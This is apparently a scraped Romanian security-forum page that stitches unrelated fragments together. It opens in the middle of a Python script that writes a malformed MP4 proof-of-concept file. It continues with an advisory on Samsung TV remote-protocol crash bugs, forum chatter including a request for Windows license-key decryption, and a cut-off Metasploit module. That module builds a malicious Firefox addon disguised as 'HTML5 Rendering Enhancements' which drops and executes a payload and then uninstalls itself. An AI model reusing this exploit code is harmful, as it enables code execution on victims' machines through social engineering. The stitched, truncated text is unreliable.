x00\x00\x00\xEA\x00\x00\x00\xF5\x00\x00\x00\xFD\x00\x00\x01\x06\x00\x00\x01\x03\x00\x00\x01\x21\x00\x00\x01\x27\x00\x00\x01\x22\x00\x00\x01\x2B\x00\x00\x01\x22\x00\x00\x01\x1B\x00\x00\x01\x15\x00\x00\x01\x38\x00\x00\x01\x2F\x00\x00\x01\x69\x00\x00\x01\x56\x00\x00\x01\x46\x00\x00\x01\x31\x00\x00\x01\x53\x00\x00\x01\x5C\x00\x00\x01\x4D\x00\x00\x01\x57\x00\x00\x01\x5B\x00\x00\x01\x48\x00\x00\x01\x46\x00\x00\x01\x39\x00\x00\x01\x3F\x00\x00\x01\x2F\x00\x00\x01\x3D\x00\x00\x01\x51\x00\x00\x01\x60\x00\x00\x01\x4F\x00\x00\x01\x51\x00\x00\x01\x3D\x00\x00\x01\x35\x00\x00\x01\x33\x00\x00\x01\x3F\x00\x00\x01\x58\x00\x00\x01\x58\x00\x00\x01\x53\x00\x00\x01\x54\x00\x00\x01\x5B\x00\x00\x01\x2A\x00\x00\x01\x41\x00\x00\x01\x2E\x00\x00\x01\x2C\x00\x00\x01\x21\x00\x00\x01\x44\x00\x00\x01\x5A\x00\x00\x01\x64\x00\x00\x01\x58\x00\x00\x01\x46\x00\x00\x01\x3C\x00\x00\x01\x58\x00\x00\x01\x69\x00\x00\x01\x63\x00\x00\x01\x45\x00\x00\x01\x59\x00\x00\x01\x52\x00\x00\x01\x51\x00\x00\x01\x54\x00\x00\x01\x42\x00\x00\x01\x2F\x00\x00\x01\x34\x00\x00\x01\x2A\x00\x00\x01\x1A\x00\x00\x01\x0A\x00\x00\x01\x17\x00\x00\x01\x14\x00\x00\x01\x10\x00\x00\x01\x1A\x00\x00\x01\x1E\x00\x00\x01\x20\x00\x00\x01\x11\x00\x00\x00\xFA\x00\x00\x01\x0A\x00\x00\x01\x12\x00\x00\x01\x0E\x00\x00\x00\xFE\x00\x00\x01\x25\x00\x00\x01\x27\x00\x00\x01\x1E\x00\x00\x01\x3A\x00\x00\x01\x20\x00\x00\x01\x28\x00\x00\x01\x33\x00\x00\x01\x2B\x00\x00\x01\x30\x00\x00\x01\x36\x00\x00\x01\x37\x00\x00\x01\x4A\x00\x00\x01\x35\x00\x00\x01\x49\x00\x00\x01\x55\x00\x00\x01\x4D\x00\x00\x01\x49\x00\x00\x01\x4B\x00\x00\x01\x4B\x00\x00\x01\x45\x00\x00\x01\x51\x00\x00\x01\x3F\x00\x00\x01\x24\x00\x00\x01\x17\x00\x00\x01\x28\x00\x00\x01\x29\x00\x00\x01\x2B\x00\x00\x01\x2B\x00\x00\x01\x30\x00\x00\x01\x21\x00\x00\x01\x19\x00\x00\x01\x06\x00\x00\x01\x1C\x00\x00\x01\x25\x00\x00\x01\x1C\x00\x00\x01\x1B\x00\x00\x01\x16\x00\x00\x00\xFE\x00\x00\x01\x1A\x00\x00\x01\x20\x00\x00\x01\x1C\x00\x00\x01\x03\x00\x00\x01\x26\x00\x00\x01\x2B\x00\x00\x01\x1B\x00\x00\x01\x25\x00\x00\x01\x31\x00\x00\x01\x30\x00\x00\x01\x14\x00\x00\x01\x21\x00\x00\x01\x0C\x00\x00\x01\x15\x00\x00\x01\x15\x00\x00\x01\x1E\x00\x00\x01\x1D\x00\x00\x01\x1F\x00\x00\x01\x23\x00\x00\x01\x20\x00\x00\x01\x2C\x00\x00\x01\x12\x00\x00\x01\x29\x00\x00\x01\x25\x00\x00\x01\x34\x00\x00\x01\x31\x00\x00\x01\x33\x00\x00\x01\x2E\x00\x00\x01\x25\x00\x00\x01\x21\x00\x00\x01\x1B\x00\x00\x01\x0A\x00\x00\x01\x25\x00\x00\x01\x23\x00\x00\x01\x28\x00\x00\x01\x1C\x00\x00\x01\x28\x00\x00\x01\x34\x00\x00\x01\x51\x00\x00\x01\x59\x00\x00\x01\x35\x00\x00\x01\x1A\x00\x00\x01\x2C\x00\x00\x01\x41\x00\x00\x01\x3F\x00\x00\x01\x57\x00\x00\x01\x4B\x00\x00\x01\x5A\x00\x00\x01\x45\x00\x00\x01\x49\x00\x00\x01\x58\x00\x00\x01\x4B\x00\x00\x01\x5F\x00\x00\x01\x5E\x00\x00\x01\x52\x00\x00\x01\x30\x00\x00\x01\x38\x00\x00\x01\x2E\x00\x00\x01\x32\x00\x00\x01\x37\x00\x00\x01\x4D\x00\x00\x01\x61\x00\x00\x01\x57\x00\x00\x01\x40\x00\x00\x01\x39\x00\x00\x01\x2A\x00\x00\x01\x21\x00\x00\x01\x54\x00\x00\x01\x64\x00\x00\x01\x57\x00\x00\x01\x5D\x00\x00\x01\x54\x00\x00\x01\x4C\x00\x00\x01\x27\x00\x00\x01\x23\x00\x00\x01\x33\x00\x00\x01\x31\x00\x00\x01\x45\x00\x00\x01\x4C\x00\x00\x01\x5D\x00\x00\x01\x5C\x00\x00\x01\x5E\x00\x00\x01\x47\x00\x00\x01\x42\x00\x00\x01\x5F\x00\x00\x01\x5E\x00\x00\x01\x58\x00\x00\x01\x44\x00\x00\x01\x56\x00\x00\x01\x4C\x00\x00\x01\x56\x00\x00\x01\x46\x00\x00\x01\x4E\x00\x00\x01\x42\x00\x00\x01\x3C\x00\x00\x01\x31\x00\x00\x01\x35\x00\x00\x01\x3B\x00\x00\x01\x44\x00\x00\x01\x3E\x00\x00\x01\x36\x00\x00\x01\x40\x00\x00\x01\x2E\x00\x00\x01\x26\x00\x00\x01\x16\x00\x00\x01\x20\x00\x00\x01\x34\x00\x00\x01\x29\x00\x00\x01\x14\x00\x00\x01\x1E\x00\x00\x01\x2E\x00\x00\x01\x32\x00\x00\x01\x34\x00\x00\x01\x48\x00\x00\x01\x42\x00\x00\x01\x41\x00\x00\x01\x4F\x00\x00\x01\x42\x00\x00\x01\x4B\x00\x00\x01\x55\x00\x00\x01\x3C\x00\x00\x01\x45\x00\x00\x01\x44\x00\x00\x01\x5C\x00\x00\x01\x5D\x00\x00\x01\x54\x00\x00\x01\x55\x00\x00\x01\x53\x00\x00\x01\x48\x00\x00\x01\x42\x00\x00\x01\x50\x00\x00\x01\x4D\x00\x00\x01\x2A\x00\x00\x01\x19\x00\x00\x01\x24\x00\x00\x01\x1E\x00\x00\x01\x2E\x00\x00\x01\x29\x00\x00\x01\x2F\x00\x00\x01\x28\x00\x00\x01\x1F\x00\x00\x01\x0D\x00\x00\x01\x25\x00\x00\x01\x24\x00\x00\x01\x2C\x00\x00\x01\x29\x00\x00\x01\x00\x00\x00\x01\x07\x00\x00\x01\x24\x00\x00\x01\x25\x00\x00\x01\x1C\x00\x00\x01\x11\x00\x00\x01\x2C\x00\x00\x01\x2B\x00\x00\x01\x2E\x00\x00\x01\x37\x00\x00\x01\x3D\x00\x00\x01\x3E\x00\x00\x01\x3E\x00\x00\x01\x40\x00\x00\x01\x24\x00\x00\x01\x19\x00\x00\x01\x1F\x00\x00\x01\x24\x00\x00\x01\x22\x00\x00\x01\x28\x00\x00\x01\x2F\x00\x00\x01\x30\x00\x00\x01\x28\x00\x00\x01\x29\x00\x00\x01\x2E\x00\x00\x01\x33\x00\x00\x01\x29\x00\x00\x01\x1B\x00\x00\x01\x2D\x00\x00\x01\x2A\x00\x00\x01\x15\x00\x00\x01\x0D\x00\x00\x00\xFC\x00\x00\x00\xF2\x00\x00\x01\x0D\x00\x00\x01\x11\x00\x00\x01\x1B\x00\x00\x01\x16\x00\x00\x01\x21\x00\x00\x01\x2C\x00\x00\x01\x33\x00\x00\x01\x35\x00\x00\x01\x2B\x00\x00\x01\x14\x00\x00\x01\x32\x00\x00\x01\x33\x00\x00\x01\x42\x00\x00\x01\x54\x00\x00\x01\x48\x00\x00\x01\x3B\x00\x00\x01\x5D\x00\x00\x01\x64\x00\x00\x01\x58\x00\x00\x01\x55\x00\x00\x01\x60\x00\x00\x01\x50\x00\x00\x01\x3A\x00\x00\x01\x3D\x00\x00\x01\x29\x00\x00\x01\x2B\x00\x00\x01\x26\x00\x00\x01\x3D\x00\x00\x01\x5A\x00\x00\x01\x63\x00\x00\x01\x5A\x00\x00\x01\x31\x00\x00\x01\x3E\x00\x00\x01\x34\x00\x00\x01\x18\x00\x00\x01\x54\x00\x00\x01\x5F\x00\x00\x01\x51\x00\x00\x01\x56\x00\x00\x01\x56\x00\x00\x01\x32\x00\x00\x01\x3F\x00\x00\x01\x34\x00\x00\x01\x2C\x00\x00\x01\x1B\x00\x00\x01\x46\x00\x00\x01\x59\x00\x00\x01\x55\x00\x00\x01\x5D\x00\x00\x01\x3B\x00\x00\x01\x47\x00\x00\x01\x3C\x00\x00\x01\x5B\x00\x00\x01\x61\x00\x00\x01\x59\x00\x00\x01\x50\x00\x00\x01\x4E\x00\x00\x01\x4F\x00\x00\x01\x4D\x00\x00\x01\x4C\x00\x00\x01\x2F\x00\x00\x01\x30\x00\x00\x01\x2C\x00\x00\x01\x1B\x00\x00\x01\x10\x00\x00\x01\x0F\x00\x00\x01\x19\x00\x00\x01\x16\x00\x00\x01\x19\x00\x00\x01\x16\x00\x00\x01\x14\x00\x00\x01\x16\x00\x00\x00\xF9\x00\x00\x01\x0B\x00\x00\x01\x0C\x00\x00\x01\x0E\x00\x00\x00\xF5\x00\x00\x01\x1C\x00\x00\x01\x25\x00\x00\x01\x24\x00\x00\x01\x30\x00\x00\x01\x30\x00\x00\x01\x21\x00\x00\x01\x30\x00\x00\x01\x2F\x00\x00\x01\x30\x00\x00\x01\x48\x00\x00\x01\x59\x00\x00\x01\x4E\x00\x00\x01\x3B\x00\x00\x01\x48\x00\x00\x01\x65\x00\x00\x01\x4B\x00\x00\x01\x48\x00\x00\x01\x50\x00\x00\x01\x42\x00\x00\x01\x4C\x00\x00\x01\x4E\x00\x00\x01\x4B\x00\x00\x01\x3F\x00\x00\x01\x1E\x00\x00\x01\x15\x00\x00\x01\x16\x00\x00\x01\x27\x00\x00\x01\x1B\x00\x00\x01\x16\x00\x00\x01\x17\x00\x00\x01\x1A\x00\x00\x00\xF3\x00\x00\x01\x03\x00\x00\x01\x18\x00\x00\x01\x1C\x00\x00\x01\x15\x00\x00\x01\x05\x00\x00\x00\xF6\x00\x00\x01\x07\x00\x00\x01\x07\x00\x00\x01\x10\x00\x00\x00\xFA\x00\x00\x00\xF9\x00\x00\x01\x0E\x00\x00\x01\x05\x00\x00\x01\x02\x00\x00\x01\x08\x00\x00\x01\x0E\x00\x00\x01\x10\x00\x00\x01\x07\x00\x00\x01\x20\x00\x00\x01\x10\x00\x00\x01\x17\x00\x00\x01\x0E\x00\x00\x01\x06\x00\x00\x01\x0A\x00\x00\x00\xFF\x00\x00\x01\x04\x00\x00\x01\x06\x00\x00\x00\xFB\x00\x00\x00\xF2\x00\x00\x00\xFC\x00\x00\x01\x0A\x00\x00\x00\xF9\x00\x00\x00\xFF\x00\x00\x00\xFA\x00\x00\x01\x0A\x00\x00\x00\xFB\x00\x00\x00\xF6\x00\x00\x00\xF5\x00\x00\x00\xF9\x00\x00\x01\x02\x00\x00\x00\xFF\x00\x00\x00\xFE\x00\x00\x01\x00\x00\x00\x00\xFB\x00\x00\x00\xFA\x00\x00\x00\xFD\x00\x00\x01\x01\x00\x00\x00\xF8\x00\x00\x01\x00\x00\x00\x00\xFD\x00\x00\x01\x04\x00\x00\x01\x00\x00\x00\x00\xFF\x00\x00\x00\xFC\x00\x00\x00\xFA\x00\x00\x00\xFD\x00\x00\x00\xFC\x00\x00\x00\xFD\x00\x00\x01\x00\x00\x00\x01\x03\x00\x00\x01\x01\x00\x00\x00\xFD\x00\x00\x00\xFF\x00\x00\x01\x00\x00\x00\x01\x04\x00\x00\x01\x0B\x00\x00\x00\xF7\x00\x00\x00\xFC\x00\x00\x00\xF7\x00\x00\x01\x02\x00\x00\x00\xF7\x00\x00\x01\x04\x00\x00\x01\x02\x00\x00\x01\x01\x00\x00\x00\xFF\x00\x00\x01\x04\x00\x00\x01\x01\x00\x00\x01\x00\x00\x00\x00\xFA\x00\x00\x01\x01\x00\x00\x01\x00\x00\x00\x00\xF8\x00\x00\x00\xF5\x00\x00\x01\x00\x00\x00\x00\xFD\x00\x00\x00\xFA\x00\x00\x01\x07\x00\x00\x00\xF8\x00\x00\x00\xFD\x00\x00\x00\xFE\x00\x00\x00\xFA\x00\x00\x00\xFD\x00\x00\x01\x06\x00\x00\x01\x02\x00\x00\x00\xF7\x00\x00\x00\xFA\x00\x00\x01\x07\x00\x00\x01\x00\x00\x00\x00\xFB\x00\x00\x00\xFE\x00\x00\x00\xF3\x00\x00\x01\x53\x00\x00\x01\x66\x00\x00\x01\x50\x00\x00\x01\x1F\x00\x00\x00\xF7\x00\x00\x00\xF0\x00\x00\x00\xEF\x00\x00\x01\x01\x00\x00\x01\x00\x00\x00\x00\xFE\x00\x00\x01\x0D\x00\x00\x01\x5E\x00\x00\x01\x6C\x00\x00\x01\x0D\x00\x00\x01\x10\x00\x00\x01\xB3\x00\x00\x01\xB7\x00\x00\x01\x9F\x00\x00\x01\x4C\x00\x00\x01\x3F\x00\x00\x01\x5F\x00\x00\x01\x35\x00\x00\x01\x2C\x00\x00\x01\x3C\x00\x00\x01\x44\x00\x00\x01\x3B\x00\x00\x01\x27\x00\x00\x01\x11\x00\x00\x01\x41\x00\x00\x01\xA4\x00\x00\x01\x91\x00\x00\x01\x5A\x00\x00\x01\x4C\x00\x00\x01\x64\x00\x00\x01\x83\x00\x00\x01\x57\x00\x00\x01\x36\x00\x00\x01\x45\x00\x00\x01\x6E\x00\x00\x01\x39\x00\x00\x01\x13\x00\x00\x01\x0A\x00\x00\x01\x05\x00\x00\x01\x0E\x00\x00\x01\x06\x00\x00\x01\x00\x00\x00\x01\x04\x00\x00\x01\xBD\x00\x00\x01\xCD\x00\x00\x01\xAE\x00\x00\x01\x7E\x00\x00\x01\x8B\x00\x00\x01\x91\x00\x00\x01\x97\x00\x00\x01\x5C\x00\x00\x01\x3F\x00\x00\x01\x8B\x00\x00\x01\x56\x00\x00\x01\x23\x00\x00\x01\x16\x00\x00\x01\x04\x00\x00\x01\x03\x00\x00\x01\x05\x00\x00\x01\x07\x00\x00\x00\xF7\x00\x00\x01\x70\x00\x00\x01\x9B\x00\x00\x01\x6D\x00\x00\x01\x37\x00\x00\x01\x33\x00\x00\x01\x69\x00\x00\x01\x5D\x00\x00\x01\x26\x00\x00\x01\x06\x00\x00\x01\x60\x00\x00\x01\x8A\x00\x00\x01\x4D\x00\x00\x01\x1C\x00\x00\x01\x19\x00\x00\x01\x13\x00\x00\x01\x0D\x00\x00\x01\x07\x00\x00\x00\xFC\x00\x00\x01\x01\x00\x00\x01\x2C\x00\x00\x01\x6C\x00\x00\x01\x6B\x00\x00\x01\x13\x00\x00\x01\x41\x00\x00\x01\xC4\x00\x00\x01\xC2\x00\x00\x01\xB2\x00\x00\x01\x81\x00\x00\x01\x5C\x00\x00\x01\x4A\x00\x00\x01\x25\x00\x00\x01\x29\x00\x00\x01\x2F\x00\x00\x01\x40\x00\x00\x01\x44\x00\x00\x01\x1C\x00\x00\x01\x04\x00\x00\x01\x65\x00\x00\x01\x89\x00\x00\x01\x77\x00\x00\x01\x65\x00\x00\x01\x5D\x00\x00\x01\x68\x00\x00\x01\x6F\x00\x00\x01\x46\x00\x00\x01\x13\x00\x00\x01\x44\x00\x00\x01\x60\x00\x00\x01\x40\x00\x00\x01\x3B\x00\x00\x01\x3A\x00\x00\x01\x3F\x00\x00\x01\x1B\x00\x00\x01\x12\x00\x00\x00\xFE\x00\x00\x01\x48\x00\x00\x01\xA5\x00\x00\x01\x86\x00\x00\x01\x82\x00\x00\x01\x6A\x00\x00\x01\x64\x00\x00\x01\x6A\x00\x00\x01\x61\x00\x00\x01\x39\x00\x00\x01\x3A\x00\x00\x01\x59\x00\x00\x01\x54\x00\x00\x01\x2F\x00\x00\x01\x2A\x00\x00\x01\x2E\x00\x00\x01\x2F\x00\x00\x01\x1F\x00\x00\x01\x2B\x00\x00\x01\x46\x00\x00\x01\x79\x00\x00\x01\x88\x00\x00\x01\x59\x00\x00\x01\x52\x00\x00\x01\x5B\x00\x00\x01\x81\x00\x00\x01\x6A\x00\x00\x01\x27\x00\x00\x01\x10\x00\x00\x01\x7C\x00\x00\x01\x69\x00\x00\x01\x3B\x00\x00\x01\x10\x00\x00\x01\x10\x00\x00\x01\x0A\x00\x00\x01\x04\x00\x00\x00\xFC\x00\x00\x01\x07\x00\x00\x01\x04\x00\x00\x01\x33\x00\x00\x01\x7C\x00\x00\x01\x44\x00\x00\x01\x0A\x00\x00\x01\x50\x00\x00\x01\xB8\x00\x00\x01\xAD\x00\x00\x01\x7E\x00\x00\x01\x58\x00\x00\x01\x66\x00\x00\x01\x4E\x00\x00\x01\x2E\x00\x00\x01\x3F\x00\x00\x01\x3D\x00\x00\x01\x43\x00\x00\x01\x44\x00\x00\x01\x1A\x00\x00\x01\x11\x00\x00\x01\x65\x00\x00\x01\xA4\x00\x00\x01\x7C\x00\x00\x01\x5E\x00\x00\x01\x58\x00\x00\x01\x87\x00\x00\x01\x77\x00\x00\x01\x43\x00\x00\x01\x21\x00\x00\x01\x68\x00\x00\x01\x5A\x00\x00\x01\x25\x00\x00\x01\x14\x00\x00\x01\x0A\x00\x00\x01\x12\x00\x00\x01\x16\x00\x00\x01\x06\x00\x00\x01\x02\x00\x00\x01\x33\x00\x00\x01\xD1\x00\x00\x01\xC2\x00\x00\x01\x9C\x00\x00\x01\x92\x00\x00\x01\x8D\x00\x00\x01\xA1\x00\x00\x01\x90\x00\x00\x01\x51\x00\x00\x01\x50\x00\x00\x01\x75\x00\x00\x01\x46\x00\x00\x01\x19\x00\x00\x01\x16\x00\x00\x01\x0A\x00\x00\x01\x04\x00\x00\x01\x03\x00\x00\x00\xFE\x00\x00\x00\xFD\x00\x00\x01\x9F\x00\x00\x01\x8E\x00\x00\x01\x67\x00\x00\x01\x3A\x00\x00\x01\x5C\x00\x00\x01\x73\x00\x00\x01\x57\x00\x00\x01\x15\x00\x00\x01\x12\x00\x00\x01\x8B\x00\x00\x01\x79\x00\x00\x01\x4D\x00\x00\x01\x46\x00\x00\x01\x30\x00\x00\x01\x25\x00\x00\x01\x14\x00\x00\x01\x16\x00\x00\x01\x06\x00\x00\x01\x03\x00\x00\x01\x75\x00\x00\x01\x9B\x00\x00\x01\x6A\x00\x00\x01\x29\x00\x00\x01\x83\x00\x00\x01\xC9\x00\x00\x01\xC8\x00\x00\x01\xA5\x00\x00\x01\x9A\x00\x00\x01\x5D\x00\x00\x01\x4A\x00\x00\x01\x1D\x00\x00\x01\x2E\x00\x00\x01\x36\x00\x00\x01\x47\x00\x00\x01\x3E\x00\x00\x01\x19\x00\x00\x01\x1F\x00\x00\x01\x8F\x00\x00\x01\x8D\x00\x00\x01\x6E\x00\x00\x01\x5E\x00\x00\x01\x64\x00\x00\x01\x5B\x00\x00\x01\x63\x00\x00\x01\x37\x00\x00\x01\x22\x00\x00\x01\x66\x00\x00\x01\x54\x00\x00\x01\x39\x00\x00\x01\x45\x00\x00\x01\x41\x00\x00\x01\x2F\x00\x00\x01\x22\x00\x00\x01\x18\x00\x00\x01\x18\x00\x00\x01\x67\x00\x00\x01\x9F\x00\x00\x01\x7A\x00\x00\x01\x6A\x00\x00\x01\x6A\x00\x00\x01\x65\x00\x00\x01\x6A\x00\x00\x01\x4A\x00\x00\x01\x29\x00\x00\x01\x48\x00\x00\x01\x5F\x00\x00\x01\x49\x00\x00\x01\x34\x00\x00\x01\x3D\x00\x00\x01\x33\x00\x00\x01\x28\x00\x00\x01\x27\x00\x00\x01\x3C\x00\x00\x01\x48\x00\x00\x01\x90\x00\x00\x01\x7F\x00\x00\x01\x53\x00\x00\x01\x59\x00\x00\x01\x53\x00\x00\x01\x7E\x00\x00\x01\x5D\x00\x00\x01\x25\x00\x00\x01\x1C\x00\x00\x01\x7C\x00\x00\x01\x5C\x00\x00\x01\x29\x00\x00\x01\x28\x00\x00\x01\x0E\x00\x00\x01\x02\x00\x00\x01\x05\x00\x00\x00\xF6\x00\x00\x01\x04\x00\x00\x01\x09\x00\x00\x01\x5A\ avi = open('poc.mp4', 'wb+') avi.write(Data) avi.close() print "[-] MP4 file generated" sursa: bugsearch

Luigi Auriemma Application: Samsung devices with support for remote controllers SAMSUNG Romania Versions: current Platforms: the vulnerable protocol is used on both TV and blue-ray devices so both of them should be vulnerable (my tests were performed only on a D6000 TV with the latest firmware); the following are the products listed on the iTunes section of the app but note that I have NOT tested them: - TV released in 2010 with Internet@TV feature Models greater than or equal to LCD 650, LED 6500 and PDP 6500 - TV released in 2011 with AllShare feature Models greater than or equal to LCD 550, LED 5500 and PDP 5500 - BD released in 2011 with Smart Hub feature Models greater than or equal to BD-Player D5300 Models greater than or equal to BD-HTS D5000 BD-AVR D7000 BD-HDD Combo D6900/8200/8500/8900 Bugs: A] Endless restarts B] Possible buffer-overflow Exploitation: remote Date: 19 Apr 2012 Author: Luigi Auriemma e-mail: aluigi@autistici.org web: aluigi.org ####################################################################### 1) Introduction 2) Bugs 3) The Code 4) Fix ####################################################################### =============== 1) Introduction =============== All the current Samsung TV and BD systems can be controlled remotely via iPad, Android and other software/devices supporting the protocol used on TCP port 55000: App Store - Samsung Remote https://play.google.com/store/apps/details?id=com.samsung.remoteTV The vulnerabilities require only the Ethernet/wi-fi network connected to be exploited so anyone with access to that network can do it. I have not tested if there are limitations on Internet or in big WANs. The remote controller feature is enabled by default like all the other services (over 40 TCP ports opened on the TV). ####################################################################### ======= 2) Bugs ======= When the controller packet is received on the device it displays a message on the screen for telling the user that a new "remote" device has been found and he must select "allow" or "deny" to continue. The message includes also the name and MAC address specified in the received packet, they are just normal strings (there is even a field containing the IP address for unknown reasons). ------------------- A] Endless restarts ------------------- The controller packet contains a string field used for the name of the controller. When the user selects one of the two choices (allow/deny) available after having received an invalid name string (for example containing line feed and other invalid chars) the device enters in the following endless loop: - for about 5 seconds everything seems to work correctly - then the TV can be no longer controlled manually (both the TV remote controller and the TV panel become slow and then completely inactive), it just doesn't accept inputs - after other 5 seconds the TV restarts automatically - this situation will continue forever During these continuous reboots it's not even possible to reset the device (for example the "EXIT" button for 15 seconds can't work in this state) or doing other operations allowed by the normal users without affecting the warranty. This is not a simple temporary Denial of Service, the TV is just impossible to be used and reset so it's necessary the manual intervention of the technical assistance that will reset it via the service mode (luckily the 5 seconds of activity are enough to reach the reset option). The user can avoid the exploiting of the vulnerability by pushing the EXIT button on the controller when the message with allow/deny is displayed on the screen. --------------------------- B] Possible buffer-overflow --------------------------- By setting some fields like the MAC address to a long string it's possible to crash the device, probably due to a buffer-overflow vulnerability (just my guess). No additional analysis is possible because I can't debug the device and sincerely I'm not interested in killing my poor TV just for finding other bugs and understanding them ####################################################################### =========== 3) The Code =========== http://aluigi.org/poc/samsux_1.zip http://www.exploit-db.com/sploits/18751.zip ####################################################################### ====== 4) Fix ====== No fix because I wanted to report the problems to Samsung but an e-mail address doesn't exist for these types of bugs (support@samsung.com is not available). It would have been useful also for having more details about the problems and knowing if all or only some devices are affected but no way. ####################################################################### sursa : bugsearch

un mic nimic da...pro.Un buton acolo cu shortcut ar fi bun

nu-mi mai trebuie.Stiam unde se afla dar nu stiam algoritmul.Anyway am gasit.Merci de ajutor

as vrea o sursa asemantoare care sa copieze license-key-ul din windows 7 si s-o salveze intr-un text,in aceeasi locate cu a exe-ului (usb) am nevoie doar de algoritmul care citeste cheia criptata in registry si o decripteasa (este reversable).Restul ma descurc.Sau care e algoritmul de decriptare?

cauta pe gsmnet.ro (nu am vreo legatura cu site-ul).Is piese bune si originale.Schimbatul e foarte usor, are 4 suruburi pt protectia de aluminiu si clema cu contacte.E mai simplu decta ai schimba un bec

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' require 'rex/zip' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE def initialize( info = {} ) super( update_info( info, 'Name' => 'Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution', 'Description' => %q{ This exploit dynamically creates a .xpi addon file. The resulting bootstrapped Firefox addon is presented to the victim via a web page with. The victim's Firefox browser will pop a dialog asking if they trust the addon. Once the user clicks "install", the addon is installed and executes the payload with full user permissions. As of Firefox 4, this will work without a restart as the addon is marked to be "bootstrapped". As the addon will execute the payload after each Firefox restart, an option can be given to automatically uninstall the addon once the payload has been executed. }, 'License' => MSF_LICENSE, 'Author' => [ 'mihi' ], 'References' => [ [ 'URL', 'https://developer.mozilla.org/en/Extensions/Bootstrapped_extensions' ], [ 'URL', 'http://dvlabs.tippingpoint.com/blog/2007/06/27/xpi-the-next-malware-vector' ] ], 'DisclosureDate' => 'Jun 27 2007', 'Platform' => [ 'java', 'win', 'osx', 'linux', 'solaris' ], 'Payload' => { 'BadChars' => '', 'DisableNops' => true }, 'Targets' => [ [ 'Generic (Java Payload)', { 'Platform' => ['java'], 'Arch' => ARCH_JAVA } ], [ 'Windows x86 (Native Payload)', { 'Platform' => 'win', 'Arch' => ARCH_X86, } ], [ 'Linux x86 (Native Payload)', { 'Platform' => 'linux', 'Arch' => ARCH_X86, } ], [ 'Mac OS X PPC (Native Payload)', { 'Platform' => 'osx', 'Arch' => ARCH_PPC, } ], [ 'Mac OS X x86 (Native Payload)', { 'Platform' => 'osx', 'Arch' => ARCH_X86, } ] ], 'DefaultTarget' => 1 )) register_options( [ OptString.new('ADDONNAME', [ true, "The addon name.", "HTML5 Rendering Enhancements" ]), OptBool.new('AutoUninstall', [ true, "Automatically uninstall the addon after payload execution", true ]) ], self.class) end def on_request_uri( cli, request ) msg = "#{cli.peerhost.ljust(16)} #{self.shortname}" if not request.uri.match(/\.xpi$/i) if not request.uri.match(/\/$/) send_redirect( cli, get_resource() + '/', '') return end print_status("#{msg} Handling request..." ) send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } ) return end p = regenerate_payload(cli) if not p print_error("#{msg} Failed to generate the payload.") # Send them a 404 so the browser doesn't hang waiting for data # that will never come. send_not_found(cli) return end # If we haven't returned yet, then this is a request for our xpi, # so build one if target.name == 'Generic (Java Payload)' jar = p.encoded_jar jar.build_manifest(:main_class => "metasploit.Payload") payload_file = jar.pack payload_name='payload.jar' payload_script=%q| var java = Components.classes["@mozilla.org/appshell/window-mediator;1"].getService(Components.interfaces.nsIWindowMediator).getMostRecentWindow('navigator:browser').Packages.java java.lang.System.setSecurityManager(null); var cl = new java.net.URLClassLoader([new java.io.File(tmp.path).toURI().toURL()]); var m = cl.loadClass("metasploit.Payload").getMethod("main", [java.lang.Class.forName("[Ljava.lang.String;")]); m.invoke(null, [java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.lang.String"), 0)]); | else payload_file = generate_payload_exe payload_name='payload.exe' payload_script=%q| var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess); process.init(tmp); process.run(false,[],0); | end zip = Rex::Zip::Archive.new xpi_guid = '{d0df471a-9896-4e6d-83e2-13a04ed6df33}' #TODO randomize! bootstrap_script = %q| function startup(data, reason) { var file = Components.classes["@mozilla.org/file/directory_service;1"]. getService(Components.interfaces.nsIProperties). get("ProfD", Components.interfaces.nsIFile); file.append("extensions"); | bootstrap_script << %Q|xpi_guid="#{xpi_guid}";| bootstrap_script << %Q|payload_name="#{payload_name}";| bootstrap_script << %q| file.append(xpi_guid); file.append(payload_name); var tmp = Components.classes["@mozilla.org/file/directory_service;1"]. getService(Components.interfaces.nsIProperties). get("TmpD", Components.interfaces.nsIFile); tmp.append(payload_name); tmp.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 0666); file.copyTo(tmp.parent, tmp.leafName); | bootstrap_script << payload_script if (datastore['AutoUninstall']) bootstrap_script << %q| try { // Fx < 4.0 Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager).uninstallItem(xpi_guid); } catch (e) {} try { // Fx 4.0 and later Components.utils.import("resource://gre/modules/AddonManager.jsm"); AddonManager.getAddonByID(xpi_guid, function(addon) { addon.uninstall(); }); } catch (e) {} | end bootstrap_script << "}" zip.add_file('bootstrap.js', bootstrap_script) zip.add_file(payload_name, payload_file) zip.add_file('chrome.manifest', "content\t#{xpi_guid}\t./\noverlay\tchrome://browser/content/browser.xul\tchrome://#{xpi_guid}/content/overlay.xul\n") zip.add_file('install.rdf', %Q|<?xml version="1.0"?> <RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <Description about="urn:mozilla:install-manifest"> <em:id>#{xpi_guid}</em:id> <em:name>#{datastore['ADDONNAME']}</em:name> <em:version>1.0</em:version> <em:bootstrap>true</em:bootstrap> <em:unpack>true</em:unpack> <em:targetApplication> <Description> <em:id>toolkit@mozilla.org</em:id> <em:minVersion>1.0</em:minVersion> <em:maxVersion>*</em:maxVersion> </Description> </em:targetApplication> <em:targetApplication> <Description> <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id> <em:minVersion>1.0</em:minVersion> <em:maxVersion>*</em:maxVersion> </Description> </em:targetApplication> </Description> </RDF>|) zip.add_file('overlay.xul', %q|<?xml version="1.0"?> <overlay xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script src="bootstrap.js"/> <script><![CDATA[window.addEventListener("load", function(e) { startup(); }, false);]]></script> </overlay>|) print_status("#{msg} Sending xpi and waiting for user to click 'accept'...") send_response( cli, zip.pack, { 'Content-Type' => 'application/x-xpinstall' } ) handler( cli ) end def generate_html html = %Q|<html><head><title>Download</title></head>\n| html << %Q|<body><center><p>Addon required 